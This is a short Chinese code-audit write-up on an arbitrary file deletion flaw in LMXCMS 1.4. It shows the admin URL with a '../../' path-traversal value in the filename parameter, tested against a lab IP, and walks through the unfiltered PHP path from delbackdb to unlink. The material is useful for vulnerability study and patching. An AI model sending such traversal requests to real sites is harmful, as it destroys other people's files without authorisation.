代码审计-梦想cms-任意文件删除
参考资料(含下载链接)
原作者 https://www.freebuf.com/vuls/254825.html
复现
1.找到要删除的文件
2.漏洞url
http://192.168.0.116/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=
3.删除文件
http://192.168.0.116/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=…/…/1.txt
不能删除中文名的文件,url 编码也不要好使(我也不知道为什么)
代码审计
传参代码
public function delbackdb(){
// 接收filename GET参数
$filename = trim($_GET['filename']);
//判断值真假
if(!$filename){
//如果没有
rewrite::js_back('备份文件不存在');
}
//进入delOne
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}
delOne 内
这里路径并没有进行过滤检测通过…/…/ 可以进行翻越路径 。进入unlink
private function delOne($filename){
// >../../<进行翻越
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}
}
传入unlink 执行
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
//删除文件
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}